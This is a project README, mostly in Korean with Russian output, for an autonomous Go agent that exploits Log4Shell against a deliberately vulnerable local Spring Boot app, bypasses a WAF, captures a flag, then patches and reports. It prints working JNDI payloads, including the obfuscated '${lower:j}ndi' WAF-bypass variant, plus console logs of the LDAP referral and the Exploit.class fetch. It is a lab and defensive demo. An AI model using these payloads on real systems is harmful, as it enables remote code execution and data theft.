
자율적이고 자기 성찰적인 Go 에이전트로, CVE-2021-44228(Log4Shell)에 대한 전체 수명 주기 보안 감사, WAF 우회, OOB LDAP 검증, 자체 복구(자동 패치) 및 규정 준수 보고를 수행합니다.
자율 반사형 실행 에이전트(Go/Java)의 격리된 데모 스탠드
Русский 🇷🇺 • English 🇬🇧 • 中文 🇨🇳 • Español 🇪🇸 • Deutsch 🇩🇪 • Italiano 🇮🇹 • العربية 🇸🇦
[!NOTE] AUTO AUDIT는 중요 취약점 **Log4Shell (CVE-2021-44228 / БДУ ФСТЭК:2021-06103)**에 대한 탐지, 검증, 익스플로잇, 자동 수정(Self-Healing / Auto-Remediation) 및 컴플라이언스 보고의 **100% 자율 폐쇄 루프(Sense-Think-Act)**를 시연하는 소프트웨어 패키지입니다.
이 스탠드는 Java Spring Boot 기반의 로컬 웹 애플리케이션, 내장 LDAP TCP Callback Listener, 그리고 외부 환경의 부분적 관측 가능성(Partially Observable Markov Decision Process — POMDP) 하에서 결정을 내리는 Go 에이전트의 인지 코어를 배포합니다.```mermaid %%{init: { 'theme': 'dark', 'themeVariables': { 'background': '#0f172a', 'primaryColor': '#1e293b', 'primaryTextColor': '#cbd5e1', 'primaryBorderColor': '#3b82f6', 'lineColor': '#38bdf8', 'secondaryColor': '#1e1b4b', 'tertiaryColor': '#0f172a', 'edgeLabelBackground': '#0f172a' } }}%% graph TD classDef sense fill:#0284c7,stroke:#0ea5e9,stroke-width:2px,color:#fff; classDef think fill:#4f46e5,stroke:#6366f1,stroke-width:2px,color:#fff; classDef act fill:#059669,stroke:#10b981,stroke-width:2px,color:#fff; classDef target fill:#dc2626,stroke:#ef4444,stroke-width:2px,color:#fff;
subgraph Sense ["🔍 СЕНСОРНЫЙ АНАЛИЗ (Sense)"]
A[Внешние отклики / TCP-коллбеки]:::sense --> B(Обновление Базы Знаний):::sense
end
subgraph Think ["🧠 КОГНИТИВНОЕ ЯДРО (Think)"]
B --> C{Вычисление Utility Policy}:::think
C -->|Рефлексивный вывод| D[Выбор эффектора из реестра]:::think
end
subgraph subgraph_Act ["⚡ ИСПОЛНЕНИЕ (Act)"]
D --> E[Выполнение Tool.Execute]:::act
E -->|Воздействие| F((Java Spring Boot Target)):::target
F -.->|Обратный канал OOB| A
end
---
## 🛠️ 기술 아키텍처 및 구성 요소
에이전트의 프로그램 구조는 클린 아키텍처(*Hexagonal Architecture / Ports and Adapters*), SOLID 및 TDD 원칙에 따라 설계되었습니다:
* 📂 **[cmd/agent/main.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/cmd/agent/main.go)** — 진입점. 백그라운드 프로세스의 수명 주기를 관리하고 에이전트 고루틴의 실행을 조정합니다.
* 📂 **`internal/`** — 인지 루프의 핵심 비즈니스 로직:
* 🧠 **[agent/agent.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/agent/agent.go)** — 인지 루프. 제어 루프와 `Think()` 전략 선택 결정 규칙을 구현합니다.
* 💾 **[core/model.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/model.go)** — `sync.RWMutex` 기반 스레드 안전 지식 베이스(`KnowledgeBase` / LTM).
* 🔌 **[core/effector.go](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/core/effector.go)** — 이펙터용 `Tool` 인터페이스.
* ⚙️ **[effectors/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/internal/effectors/)** — 다형성 이펙터(도구) 레지스트리:
* 🔍 `ToolPortScanner` — 네트워크 경계 정찰.
* 🌐 `ToolDiscovery` — 연결 지점 및 입력 벡터 탐색 (`X-Api-Version`).
* 🔬 `ToolPayloadGenerator` — JNDI 시그니처 벡터 합성.
* 🚀 `ToolProber` — OOB(Out-of-Band) 트레이싱을 통한 취약점 확인.
* 🛡️ `ToolSemanticFuzzer` — 중첩된 구문 변형을 통한 필터링 분류기 우회(WAF Evasion).
* 🩹 `ToolRemediator` — 자동 패칭(Self-Healing).
* 📄 `ToolReporter` — ГОСТ Р 56939-2016에 따른 보고서 생성.
* 📂 **`pkg/`** — 유틸리티 패키지 및 라이브러리:
* 📡 **[oob/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/oob/)** — OOB(Out-of-band) 리스너(LDAP 및 HTTP).
* ☕ **[jvm/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/pkg/jvm/)** — 로컬 Java 대상의 수명 주기 및 재시작 관리.
* 📂 **[deployments/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/deployments/)** — 배포용 구성 파일(Docker, Compose).
* 📂 **[test/vulnerable-app/](https://github.com/c00ln3t/log4shellauditor/blob/HEAD/test/vulnerable-app/)** — 취약한 테스트용 Java Spring Boot 애플리케이션.
---
## 🎯 수학적 장치 및 인지 루프(Think-Act Loop) 명세
에이전트의 의사 결정은 **부분 관측 마르코프 결정 과정(POMDP)**으로 공식화되며, 튜플 $\langle S, A, T, R, \Omega, O, \gamma \rangle$로 표현됩니다:
* $S$ — 대상 환경의 숨겨진 상태들의 이산 공간 (포트 접근성, 취약한 매개변수의 존재, WAF 활동, 침해 사실, 패칭 상태, 컴플라이언스 보고서 존재 여부).
* $A$ — 이펙터 행동 공간 (도구 호출: `port_scanner`, `discovery`, `payload_generator`, `prober`, `semantic_fuzzer`, `remediator`, `reporter`, `stop`).
* $\Omega$ — 관측 공간 (수신된 HTTP 응답, OOB TCP 콜백, 파일 시스템 기록).
* $O(o \mid s', a)$ — 응답 $o \in \Omega$를 얻을 확률을 결정하는 관측 함수.
### 1. 신뢰 벡터(Belief State)
에이전트는 환경의 숨겨진 상태 $s \in S$에 대한 직접적인 정보가 없으며, `KnowledgeBase` 메모리에 저장되고 동적으로 갱신되는 $S$에 대한 확률 분포인 신뢰 벡터 $b(s)$로 작동합니다:
* $b(S_{recon}) \in \{0, 1\}$ — 네트워크 정찰 상태(포트 열림/닫힘). `ToolPerformance["port_scanner"]`에 매핑됩니다.
* $b(S_{discovery}) \in \{0, 1\}$ — 입력 벡터 매핑(매개변수 발견 여부). `len(DiscoveryVectors) > 0`에 매핑됩니다.
* $b(S_{payload}) \in \{0, 1\}$ — 익스플로잇 시그니처 준비 상태. `len(CustomPayloads) > 0`에 매핑됩니다.
* $b(S_{exploit}) \in \{0, 1\}$ — 침해 상태(Loot/Flag 존재 여부). `len(Loot) > 0`에 매핑됩니다.
* $b(S_{patch}) \in \{0, 1\}$ — 취약점 국소화 사실. `PatchApplied`에 매핑됩니다.
* $b(S_{verify}) \in \{0, 1\}$ — 재발성 OOB 트리거 부재 검증. `PatchVerified`에 매핑됩니다.
* $b(S_{report}) \in \{0, 1\}$ — 규정 준수 보고서 생성. `ReportGenerated`에 매핑됩니다.
### 2. 결정 규칙 함수(Policy Mapping)
의사 결정 함수 `Think()`는 현재 누적된 신뢰 상태 $b$를 최적의 이펙터 행동 $a \in A$에 순차적으로 매핑하는 결정론적 결정 규칙 $\pi: B \to A$를 구현합니다.
### 3. 적응형 학습 및 도구 효율성 평가
각 도구 $a \in A$에 대해 `ToolStats` 메모리에 통계가 누적되고 효용 지표(Efficiency Score)가 계산됩니다:
$$\text{EfficiencyScore}(a) = \frac{SuccessCount_a}{UsageCount_a}$$
에이전트는 이러한 지표를 사용해 궤적을 동적으로 변경합니다: 기본 프로브 `prober`가 실패하면($\text{EfficiencyScore}(\text{prober}) = 0$), 에이전트는 대상 노드에 필터링(WAF)이 있음을 식별하고, `semantic_fuzzer` 도구로 WAF 우회 보상 전략을 활성화하여 주입 벡터를 변형합니다.
### 스탠드(벤치) 작동의 단계별 시나리오:
| 단계 | 선택된 도구 | 동작 및 프로세스 물리 | Belief State 변경 |
| :--- | :--- | :--- | :--- |
| **1** | `port_scanner` | 호스트 `:8080`의 TCP 소켓 확인. | 웹 서비스의 열린 HTTP 포트 발견 ($b(S_{recon}) = 1$). |
| **2** | `discovery` | GET 요청 실행, DOM 및 헤더 파싱. | 입력 벡터 식별: `X-Api-Version` 헤더 ($b(S_{discovery}) = 1$). |
| **3** | `payload_generator` | 기본 익스플로잇 벡터 합성. | 데이터베이스에 문자열 `\${jndi:ldap://127.0.0.1:1389/Exploit\}` 추가 ($b(S_{payload}) = 1$). |
| **4** | `prober` | 1차 공격. 에이전트가 페이로드를 전송. | 시도가 WAF에 차단됨. $\text{EfficiencyScore}(\text{prober}) = 0$. |
| **5** | `semantic_fuzzer` | 중첩 조회(nested lookups)를 통한 시그니처 난독화. | 변형된 시그니처 생성 ($b(S_{payload}) = 1$, WAF 우회). |
| **6** | `prober` | 난독화된 벡터로 공격. | 내장 LDAP 리스너가 수신 TCP 연결을 감지. RCE 사실 확인 ($b(S_{exploit}) = 1$). |
| **7** | `remediator` | 자동 수정. `remediation.properties`에 플래그 기록 및 JVM 재시작. | Spring Boot 프로세스가 `-Dlog4j2.formatMsgNoLookups=true` 플래그로 재시작됨 ($b(S_{patch}) = 1$). |
| **8** | `prober` | 검증(반복 프로빙 요청). | 포트 `1389`에서 OOB 연결 대기. 연결 없음 $\rightarrow$ $b(S_{verify}) = 1$. |
| **9** | `reporter` | 마크다운 보고서 생성. | 문서 `reports/cve_2021_44228_report.md` 생성됨 ($b(S_{report}) = 1$). |
| **10**| `stop` | 종료. | 작업 종료. |
## 📊 알고리즘 순서도
### 1. 에이전트 일반 작동 알고리즘(Sense-Think-Act Loop)
이 다이어그램은 에이전트 운영의 연속적인 수명 주기, 즉 시작 및 지식 베이스 초기화부터 감사 세션 종료까지를 설명합니다.```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef step fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef action fill:#022c22,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start([Начало]):::startEnd --> Init[Инициализация StandaloneExecutor и KnowledgeBase]:::step
Init --> LoopStart{Цикл принятия решений}:::decision
%% Think Phase
LoopStart --> Think["Think: Выбор оптимального инструмента a = Think()"]:::decision
%% Branch on Stop
Think --> IsStop{a == 'stop'?}:::decision
IsStop -- Да --> Terminate([Завершение работы агента]):::startEnd
%% Act Phase
IsStop -- Нет --> FetchTool["Загрузка эффектора из реестра Tools[a]"]:::step
FetchTool --> Execute[Act: Выполнение Tool.Execute]:::action
%% Sense Phase
Execute --> Sense[Sense: Получение обратной связи из внешней среды]:::action
Sense --> UpdateStats[Обновление статистики ToolStats в памяти]:::step
UpdateStats --> RecordObs[Запись наблюдения в Observations]:::step
%% Wait
RecordObs --> Delay[Задержка 800 мс]:::step
Delay --> LoopStart
이 다이어그램은 Think() 함수 내부에서 현재까지 축적된 신뢰 벡터(Belief State)를 기반으로 다음 단계를 선택하는 로직을 상세히 설명합니다.```mermaid
%%{init: {
'theme': 'dark',
'themeVariables': {
'background': '#0f172a',
'primaryColor': '#1e293b',
'primaryTextColor': '#cbd5e1',
'primaryBorderColor': '#475569',
'lineColor': '#38bdf8',
'secondaryColor': '#1e293b'
}
}}%%
flowchart TD
classDef startEnd fill:#1e293b,stroke:#475569,stroke-width:2px,color:#f8fafc;
classDef process fill:#0f172a,stroke:#3b82f6,stroke-width:1px,color:#e2e8f0;
classDef decision fill:#1e1b4b,stroke:#6366f1,stroke-width:1px,color:#e2e8f0;
classDef selection fill:#064e3b,stroke:#10b981,stroke-width:1px,color:#e2e8f0;
Start(["Вызов Think()"]):::startEnd --> Lock["Блокировка памяти RLock()"]:::process
Lock --> ReadState[Чтение вектора доверия b]:::process
%% Step 1
ReadState --> PortScan{port_scanner выполнен?}:::decision
PortScan -- Нет --> RetPortScan[Выбрать 'port_scanner']:::selection
%% Step 2
PortScan -- Да --> Discovery{Найдено векторов ввода?}:::decision
Discovery -- Нет --> RetDiscovery[Выбрать 'discovery']:::selection
%% Step 3
Discovery -- Да --> Payload{Сгенерирована эксплоит-сигнатура?}:::decision
Payload -- Нет --> RetPayload[Выбрать 'payload_generator']:::selection
%% Step 4 (Exploit)
Payload -- Да --> Loot{Флаг RCE перехвачен?}:::decision
Loot -- Нет --> ProberStats{Была попытка prober?}:::decision
ProberStats -- Нет --> RetProber[Выбрать 'prober']:::selection
ProberStats -- Да --> FuzzerStats{Fuzzer выполнен?}:::decision
FuzzerStats -- Нет --> RetFuzzer[Выбрать 'semantic_fuzzer']:::selection
FuzzerStats -- Да --> RetProber:::selection
%% Step 5
Loot -- Да --> Patch{Патч применен?}:::decision
Patch -- Нет --> RetRemediator[Выбрать 'remediator']:::selection
%% Step 6
Patch -- Да --> Verify{Патч верифицирован?}:::decision
Verify -- Нет --> RetProberVerify[Выбрать 'prober' в режиме верификации]:::selection
%% Step 7
Verify -- Да --> Report{Отчет сформирован?}:::decision
Report -- Нет --> RetReporter[Выбрать 'reporter']:::selection
%% Step 8
Report -- Да --> RetStop[Выбрать 'stop']:::selection
%% Return Statements
RetPortScan --> Unlock["Разблокировка RUnlock()"]:::process
RetDiscovery --> Unlock
RetPayload --> Unlock
RetProber --> Unlock
RetFuzzer --> Unlock
RetRemediator --> Unlock
RetProberVerify --> Unlock
RetReporter --> Unlock
RetStop --> Unlock
Unlock --> End([Возврат выбранного инструмента]):::startEnd
---
## 📦 취약한 Java 애플리케이션 사양
`test/vulnerable-app/` 디렉터리에 있는 대상 애플리케이션은 **Apache Log4j2** 라이브러리 버전을 의도적으로 낮춘 **Spring Boot 2.7.18** 기반의 최소 REST 서비스입니다:```xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Уязвимая версия, поддерживающая lookup JNDI -->
</dependency>
취약한 컨트롤러는 들어오는 HTTP 헤더를 사전 정화 없이 로그에 기록합니다:```java logger.info("[AUDIT] API Version header logged: {}", apiVersion);
다음 형식의 문자열 `\${jndi:ldap://...\}`을(를) 수신하면 로거는 JNDI 주소 리졸브를 시작하며, LDAP 프로토콜을 통해 포트 `1389`로 요청을 보냅니다.
---
## 🚀 실행 안내
데모 환경은 두 가지 배포 모드를 지원합니다. 호스트 시스템에서 직접 로컬로 실행하는 방식(옵션 A) 또는 Docker Compose를 통해 격리된 네트워크 환경에서 완전히 컨테이너화된 실행 방식(옵션 B)입니다.
### 옵션 A. 호스트 시스템에서 로컬 실행
#### 사전 요구 사항
* **JDK 17+** (`java -version`으로 확인)
* **Maven 3.8+** (`mvn -version`으로 확인)
* **Go 1.21+** (`go version`으로 확인)
#### 1. Java 마이크로서비스 빌드
Java 타깃을 팻 JAR 아티팩트로 컴파일하세요.```bash
cd test/vulnerable-app
mvn clean package
cd ../..
test/vulnerable-app/target/ 디렉터리에 vulnerable-app-simple-1.0.0.jar 파일이 성공적으로 생성되었는지 확인하세요.
HTTP 서버가 제공할 Java Exploit 클래스를 컴파일하세요:```bash javac internal/payload/Exploit.java
#### 3. 데모 스탠드 컴파일 및 실행
Go 즉시 해석 모드로 실행:```bash
go run ./cmd/agent
또는 실행 가능한 바이너리 파일로 컴파일하세요:```bash go build -o test_agent ./cmd/agent ./test_agent
---
### 옵션 B. 격리된 Docker 환경에서 실행 (Docker Compose)
> [!TIP]
> 이 옵션은 호스트 시스템에 Go, Java 또는 Maven을 설치할 필요가 없습니다. 모든 환경은 격리된 가상 네트워크 `172.20.0.0/16` 안에서 자동으로 빌드되고 오케스트레이션됩니다.
#### 사전 요구 사항
* 설치된 **Docker** 및 **Docker Compose** 플러그인 (`docker compose version`으로 확인).
#### 1. 테스트 환경 실행
프로젝트 루트 디렉터리에서 다음 한 줄의 명령으로 이미지 빌드 및 컨테이너 실행을 수행합니다:```bash
docker compose -f deployments/docker-compose.yml up --build
vulnerable-app은 Spring Boot Java 애플리케이션을 자동으로 컴파일하고, 비밀 플래그를 비공개 디렉터리 /var/lib/secret/flag.txt에 기록한 다음 :8080 포트에서 웹 서버를 실행합니다.reflective-agent는 에이전트의 Go 코드를 컴파일하고, Java 페이로드 Exploit.java를 컴파일하며, OOB 서버를 구동하고 인지 루프를 시작합니다.reports/는 에이전트 컨테이너에 마운트되어 있습니다. 작업 종료 시 생성된 GOST 보고서는 여러분의 reports/cve_2021_44228_report.md 디렉터리에 자동으로 저장됩니다.시뮬레이션을 종료하고 네트워크 리소스를 삭제하려면 다음을 실행하세요:```bash docker compose -f deployments/docker-compose.yml down
---
## 📊 콘솔 출력 예시```text
=== ДЕМОНСТРАЦИОННЫЙ СТЕНД РЕАКТИВНОГО АГЕНТА (JAVA SPRING TARGET) ===
[*] Запуск скомпилированного уязвимого Java Spring приложения локально...
[*] Ожидание инициализации веб-контекста Spring (3.5 сек)...
[*] Инициализация агента-исполнителя для цели: http://localhost:8080
================================================================
[ВЫВОД] Выбран инструмент: 'port_scanner' (Текущая фаза: Reconnaissance)
[ЭФФЕКТОР:port_scanner] Сканирование порта localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружен открытый HTTP-порт localhost:8080. Java Spring Web-служба отвечает.
[ВЫВОД] Выбран инструмент: 'discovery' (Текущая фаза: Discovery)
[ЭФФЕКТОР:discovery] Исследование структуры веб-приложения http://localhost:8080...
[НАБЛЮДЕНИЕ] OBSERVATION: Обнаружены потенциальные векторы ввода: GET-параметр '/?input=' и HTTP-заголовок 'X-Api-Version'.
[ВЫВОД] Выбран инструмент: 'payload_generator' (Текущая фаза: Discovery)
[ЭФФЕКТОР:payload_generator] Анализ уязвимостей и синтез сигнатур...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирована сигнатурная нагрузка для CVE-2021-44228: '${jndi:ldap://127.0.0.1:1389/Exploit}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${jndi:ldap://127.0.0.1:1389/Exploit}' на http://localhost:8080...
[НАБЛЮДЕНИЕ] FAILURE: Атака не удалась. Уязвимость не эксплуатирована или флаг не перехвачен.
[ВЫВОД] Выбран инструмент: 'semantic_fuzzer' (Текущая фаза: Discovery)
[ЭФФЕКТОР:semantic_fuzzer] Запуск обфускации и семантического фаззинга против WAF...
[НАБЛЮДЕНИЕ] OBSERVATION: Сгенерирован обфусцированный вектор обхода: '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}'.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Discovery)
[ЭФФЕКТОР:prober] Первичная атака: Отправка нагрузки '${${lower:j}ndi:ldap://127.0.0.1:1389/bypass}' на http://localhost:8080...
[LDAP SERVER] Получен LDAP BindRequest. Отправка BindResponse...
[LDAP SERVER] Получен LDAP SearchRequest. Отправка JNDI Referral...
[HTTP SERVER] Получен запрос на загрузку Exploit.class
[HTTP SERVER] >>> ПЕРЕХВАЧЕН СЕКРЕТНЫЙ ФЛАГ: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026} <<<
[НАБЛЮДЕНИЕ] SUCCESS: LDAP Callback получен на порту 1389. RCE отработал. Перехваченный флаг: FLAG{LOCAL_HOST_LOG4SHELL_SECRET_2026}.
[ВЫВОД] Выбран инструмент: 'remediator' (Текущая фаза: Remediation)
[ЭФФЕКТОР:remediator] Анализ причин уязвимости и генерация исправления для http://localhost:8080...
[ЭФФЕКТОР:remediator] Отправка команды применения патча на http://localhost:8080/remediate...
[НАБЛЮДЕНИЕ] REMEDIATION_SUCCESS: Патч применен. На целевое приложение отправлен запрос ремедиации (изменен флаг -Dlog4j2.formatMsgNoLookups=true). JVM успешно переинициализирована.
[ВЫВОД] Выбран инструмент: 'prober' (Текущая фаза: Verification)
[ЭФФЕКТОР:prober] Верификация патча: Повторная атака уязвимости на http://localhost:8080...
[НАБЛЮДЕНИЕ] VERIFICATION_SUCCESS: Попытка эксплуатации отклонена сервером. Входящий TCP-коллбек на порт 1389 отсутствует. Уязвимость успешно устранена.
[ВЫВОД] Выбран инструмент: 'reporter' (Текущая фаза: Verification)
[ЭФФЕКТОР:reporter] Формирование отчета об уязвимости по стандартам РФ для http://localhost:8080...
[НАБЛЮДЕНИЕ] REPORT_SUCCESS: Отчет успешно сгенерирован и сохранен в файл 'reports/cve_2021_44228_report.md'.
================================================================
[INFO] Жизненный цикл аудита, патчинга и комплаенса завершен.
에이전트가 생성한 reports/cve_2021_44228_report.md 파일의 보고서는 주요 러시아 정보 보안 표준을 고려합니다:
이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.